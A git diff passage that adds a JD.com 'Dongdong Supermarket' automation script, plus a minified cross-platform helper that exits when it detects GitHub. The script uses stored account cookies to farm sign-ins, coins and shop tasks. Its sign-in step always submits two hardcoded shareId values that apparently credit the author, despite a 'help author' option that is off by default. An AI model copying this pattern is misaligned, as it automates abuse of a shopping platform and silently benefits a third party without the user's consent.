7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_superMarket.js b/jd_superMarket.js new file mode 100644 index 0000000000..3f1f024bac --- /dev/null +++ b/jd_superMarket.js @@ -0,0 +1,1304 @@ +/** + * 东东超市 + * 京东APP首页-京东超市-底部东东超市 + * =================QuantumultX============== + * [task_local] + * #东东超市 + * 11 * * * * jd_superMarket.js, tag=东东超市, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxc.png, enabled=true + * ===========Loon=============== + * [Script] + * cron "11 * * * *" script-path=jd_superMarket.js,tag=东东超市 + * =======Surge=========== + * 东东超市 = type=cron,cronexp="11 * * * *",wake-system=1,timeout=3600,script-path=jd_superMarket.js + * ==============小火箭============= + * 东东超市 = type=cron,script-path=jd_superMarket.js, cronexpr="11 * * * *", timeout=3600, enable=true + */ + +const $ = new Env('东东超市'); +let cookiesArr = [], cookie = '', jdSuperMarketShareArr = [], notify, newShareCodes; +let helpAu = false;//给作者助力 免费拿,省钱大赢家等活动.默认true是,false不助力. +helpAu = $.isNode() ? (process.env.HELP_AUTHOR ? process.env.HELP_AUTHOR === 'true' : helpAu) : helpAu; +let jdNotify = true;//用来是否关闭弹窗通知,true表示关闭,false表示开启。 +let drawLotteryFlag = false;//是否用500蓝币去抽奖,true表示开启,false表示关闭。默认关闭 +let message = '', subTitle; +const JD_API_HOST = 'https://api.m.jd.com/api'; + +let shareCodes = [] + +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.coincount = 0;//收取了多少个蓝币 + $.coinerr = ""; + $.blueCionTimes = 0; + console.log(`\n开始【京东账号${$.index}】${$.UserName}\n`); + message = ''; + subTitle = ''; + await jdSuperMarket(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdSuperMarket() { + try { + await smtgHome(); + await receiveBlueCoin();//收蓝币(小费) + await daySign();//每日签到 + await BeanSign()// + await doDailyTask();//做日常任务,分享,关注店铺, + await drawLottery();//抽奖功能(招财进宝) + await smtg_shopIndex(); + await smtgHome(); + await receiveUserUpgradeBlue(); + await Home(); + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + $.log(`【京东账号${$.index}】${$.nickName}\n${message}`); + jdNotify = $.getdata('jdSuperMarketNotify') ? $.getdata('jdSuperMarketNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, subTitle, `【京东账号${$.index}】${$.nickName}\n${message}`); + } +} + +//抽奖功能(招财进宝) +async function drawLottery() { + console.log(`\n注意⚠:东东超市抽奖已改版,花费500蓝币抽奖一次,现在脚本默认已关闭抽奖功能\n`); + drawLotteryFlag = $.getdata('jdSuperMarketLottery') ? $.getdata('jdSuperMarketLottery') : drawLotteryFlag; + if ($.isNode() && process.env.SUPERMARKET_LOTTERY) { + drawLotteryFlag = process.env.SUPERMARKET_LOTTERY; + } + if (`${drawLotteryFlag}` === 'true') { + const smtg_lotteryIndexRes = await smtg_lotteryIndex(); + if (smtg_lotteryIndexRes && smtg_lotteryIndexRes.data.bizCode === 0) { + const {result} = smtg_lotteryIndexRes.data + if (result.blueCoins > result.costCoins && result.remainedDrawTimes > 0) { + const drawLotteryRes = await smtg_drawLottery(); + console.log(`\n花费${result.costCoins}蓝币抽奖结果${JSON.stringify(drawLotteryRes)}`); + await drawLottery(); + } else { + console.log(`\n抽奖失败:已抽奖或者蓝币不足`); + console.log(`失败详情:\n现有蓝币:${result.blueCoins},抽奖次数:${result.remainedDrawTimes}`) + } + } + } else { + console.log(`设置的为不抽奖\n`) + } +} + +async function doDailyTask() { + const smtgQueryShopTaskRes = await smtgQueryShopTask(); + if (smtgQueryShopTaskRes.code === 0 && smtgQueryShopTaskRes.data.success) { + const taskList = smtgQueryShopTaskRes.data.result.taskList; + console.log(`\n日常赚钱任务 完成状态`) + for (let item of taskList) { + console.log(` ${item['title'].length < 4 ? item['title'] + `\xa0` : item['title'].slice(-4)} ${item['finishNum'] === item['targetNum'] ? '已完成' : '未完成'} ${item['finishNum']}/${item['targetNum']}`) + } + for (let item of taskList) { + //领奖 + if (item.taskStatus === 1 && item.prizeStatus === 1) { + const res = await smtgObtainShopTaskPrize(item.taskId); + console.log(`\n领取做完任务的奖励${JSON.stringify(res)}\n`) + } + //做任务 + if ((item.type === 1 || item.type === 11) && item.taskStatus === 0) { + // 分享任务 + const res = await smtgDoShopTask(item.taskId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`) + } + if (item.type === 2) { + //逛会场 + if (item.taskStatus === 0) { + console.log('开始逛会场') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if (item.type === 8) { + //关注店铺 + if (item.taskStatus === 0) { + console.log('开始关注店铺') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if (item.type === 9) { + //开卡领蓝币任务 + if (item.taskStatus === 0) { + console.log('开始开卡领蓝币任务') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if (item.type === 10) { + //关注商品领蓝币 + if (item.taskStatus === 0) { + console.log('关注商品') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if ((item.type === 8 || item.type === 2 || item.type === 10) && item.taskStatus === 0) { + // await doDailyTask(); + } + } + } +} + +function smtgHome() { + return new Promise((resolve) => { + const options = taskUrl("smtg_newHome", { + "shareId": "", + "channel": "4", + }); + $.get(options, (err, resp, data) => { + }); + $.get(taskUrl("smtg_newHome", {"shopType": "0", "channel": "18"}), (err, resp, data) => { + try { + if (err) { + console.log("\n东东超市: API查询请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data.code === 0 && data.data.success) { + const {result} = data.data; + const { + shopName, + totalBlue, + userUpgradeBlueVos, + turnoverProgress, + currentShopId + } = result; + $.currentShopId = currentShopId + $.userUpgradeBlueVos = userUpgradeBlueVos; + $.turnoverProgress = turnoverProgress; + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领蓝币 +function receiveBlueCoin(timeout = 0) { + return new Promise((resolve) => { + setTimeout(() => { + $.get(taskUrl('smtg_receiveCoin', {"type": 4, "shopId": $.currentShopId, "channel": "18"}), async (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + $.data = data; + if ($.data.data.bizCode !== 0 && $.data.data.bizCode !== 809) { + $.coinerr = `${$.data.data.bizMsg}`; + message += `【收取小费】${$.data.data.bizMsg}\n`; + console.log(`收取蓝币失败:${$.data.data.bizMsg}`) + return + } + if ($.data.data.bizCode === 0) { + $.coincount += $.data.data.result.receivedBlue; + $.blueCionTimes++; + console.log(`【京东账号${$.index}】${$.nickName} 第${$.blueCionTimes}次领蓝币成功,获得${$.data.data.result.receivedBlue}个\n`) + if (!$.data.data.result.isNextReceived) { + message += `【收取小费】${$.coincount}个\n`; + return + } + } + await receiveBlueCoin(3000); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} + +async function daySign() { + const signDataRes = await smtgSign({"shareId": "QcSH6BqSXysv48bMoRfTBz7VBqc5P6GodDUBAt54d8598XAUtNoGd4xWVuNtVVwNO1dSKcoaY3sX_13Z-b3BoSW1W7NnqD36nZiNuwrtyO-gXbjIlsOBFpgIPMhpiVYKVAaNiHmr2XOJptu14d8uW-UWJtefjG9fUGv0Io7NwAQ", "channel": "4"}); + await smtgSign({"shareId": "TBj0jH-x7iMvCMGsHfc839Tfnco6UarNx1r3wZVIzTZiLdWMRrmoocTbXrUOFn0J6UIir16A2PPxF50_Eoo7PW_NQVOiM-3R16jjlT20TNPHpbHnmqZKUDaRajnseEjVb-SYi6DQqlSOioRc27919zXTEB6_llab2CW2aDok36g", "channel": "4"}); + if (signDataRes && signDataRes.code === 0) { + const signList = await smtgSignList(); + if (signList.data.bizCode === 0) { + $.todayDay = signList.data.result.todayDay; + } + if (signDataRes.code === 0 && signDataRes.data.success) { + message += `【第${$.todayDay}日签到】成功,奖励${signDataRes.data.result.rewardBlue}蓝币\n` + } else { + message += `【第${$.todayDay}日签到】${signDataRes.data.bizMsg}\n` + } + } +} + +async function BeanSign() { + const beanSignRes = await smtgSign({"channel": "1"}); + if (beanSignRes && beanSignRes.data['bizCode'] === 0) { + console.log(`每天从指定入口进入游戏,可获得额外奖励:${JSON.stringify(beanSignRes)}`) + } +} + +//每日签到 +function smtgSign(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_sign', body), async (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//领取店铺升级的蓝币奖励 +async function receiveUserUpgradeBlue() { + $.receiveUserUpgradeBlue = 0; + if ($.userUpgradeBlueVos && $.userUpgradeBlueVos.length > 0) { + for (let item of $.userUpgradeBlueVos) { + const receiveCoin = await smtgReceiveCoin({"id": item.id, "type": 5}) + // $.log(`\n${JSON.stringify(receiveCoin)}`) + if (receiveCoin && receiveCoin.data['bizCode'] === 0) { + $.receiveUserUpgradeBlue += receiveCoin.data.result['receivedBlue'] + } + } + $.log(`店铺升级奖励获取:${$.receiveUserUpgradeBlue}蓝币\n`) + } + const res = await smtgReceiveCoin({"type": 4, "channel": "18"}) + // $.log(`${JSON.stringify(res)}\n`) + if (res && res.data['bizCode'] === 0) { + console.log(`\n收取营业额:获得 ${res.data.result['receivedTurnover']}\n`); + } +} + +async function Home() { + const homeRes = await smtgHome(); + if (homeRes && homeRes.data['bizCode'] === 0) { + const {result} = homeRes.data; + const {shopName, totalBlue} = result; + subTitle = shopName; + message += `【总蓝币】${totalBlue}个\n`; + } +} + +//查询有哪些货架 +function smtg_shopIndex() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shopIndex', {"channel": 1}), async (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + const {shopId, shelfList, merchandiseList, level} = data.data['result']; + message += `【店铺等级】${level}\n`; + if (shelfList && shelfList.length > 0) { + for (let item of shelfList) { + //status: 2可解锁,1可升级,-1不可解锁 + if (item['status'] === 2) { + $.log(`${item['name']}可解锁\n`) + await smtg_shelfUnlock({shopId, "shelfId": item['id'], "channel": 1}) + } else if (item['status'] === 1) { + $.log(`${item['name']}可升级\n`) + await smtg_shelfUpgrade({shopId, "shelfId": item['id'], "channel": 1, "targetLevel": item['level'] + 1}); + } else if (item['status'] === -1) { + $.log(`[${item['name']}] 未解锁`) + } else if (item['status'] === 0) { + $.log(`[${item['name']}] 已解锁,当前等级:${item['level']}级`) + } else { + $.log(`未知店铺状态(status):${item['status']}\n`) + } + } + } + if (data.data['result']['forSaleMerchandise']) { + $.log(`\n限时商品${data.data['result']['forSaleMerchandise']['name']}已上架`) + } else { + if (merchandiseList && merchandiseList.length > 0) { + for (let item of merchandiseList) { + console.log(`发现限时商品${item.name}\n`); + await smtg_sellMerchandise({"shopId": shopId, "merchandiseId": item['id'], "channel": "18"}) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//解锁店铺 +function smtg_shelfUnlock(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shelfUnlock', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + $.log(`解锁店铺结果:${data}\n`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtg_shelfUpgrade(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shelfUpgrade', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + $.log(`店铺升级结果:${data}\n`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//售卖限时商品API +function smtg_sellMerchandise(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_sellMerchandise', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + $.log(`限时商品售卖结果:${data}\n`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtgDoShopTask(taskId, itemId) { + return new Promise((resolve) => { + const body = { + "taskId": taskId, + "channel": "18" + } + if (itemId) { + body.itemId = itemId; + } + $.get(taskUrl('smtg_doShopTask', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtgObtainShopTaskPrize(taskId) { + return new Promise((resolve) => { + const body = { + "taskId": taskId + } + $.get(taskUrl('smtg_obtainShopTaskPrize', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtgQueryShopTask() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_queryShopTask'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtgSignList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_signList', {"channel": "18"}), (err, resp, data) => { + try { + // console.log('ddd----ddd', data) + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtgReceiveCoin(body) { + $.goldCoinData = {}; + return new Promise((resolve) => { + $.get(taskUrl('smtg_receiveCoin', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtg_joinPkTeam(teamId, inviteCode, sharePkActivityId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_joinPkTeam', {teamId, inviteCode, "channel": "3", sharePkActivityId}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtg_getTeamPkDetailInfo() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_getTeamPkDetailInfo'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtg_businessCirclePKDetail() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_businessCirclePKDetail'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtg_getBusinessCircleList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_getBusinessCircleList'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//加入商圈API +function smtg_joinBusinessCircle(circleId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_joinBusinessCircle', {circleId}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtg_businessCircleIndex() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_businessCircleIndex'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtg_receivedPkTeamPrize() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_receivedPkTeamPrize', {"channel": "1"}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//领取商圈PK奖励 +function smtg_getPkPrize() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_getPkPrize'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtg_quitBusinessCircle() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_quitBusinessCircle'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//我的货架 +function smtg_shelfList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shelfList'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//检查某个货架可以上架的商品列表 +function smtg_shelfProductList(shelfId) { + return new Promise((resolve) => { + console.log(`开始检查货架[${shelfId}] 可上架产品`) + $.get(taskUrl('smtg_shelfProductList', {shelfId}), (err, resp, data) => { + try { + // console.log(`检查货架[${shelfId}] 可上架产品结果:${data}`) + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//升级商品 +function smtg_upgradeProduct(productId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_upgradeProduct', {productId}), (err, resp, data) => { + try { + // console.log(`升级商品productId[${productId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + console.log(`升级商品结果\n${data}`); + data = 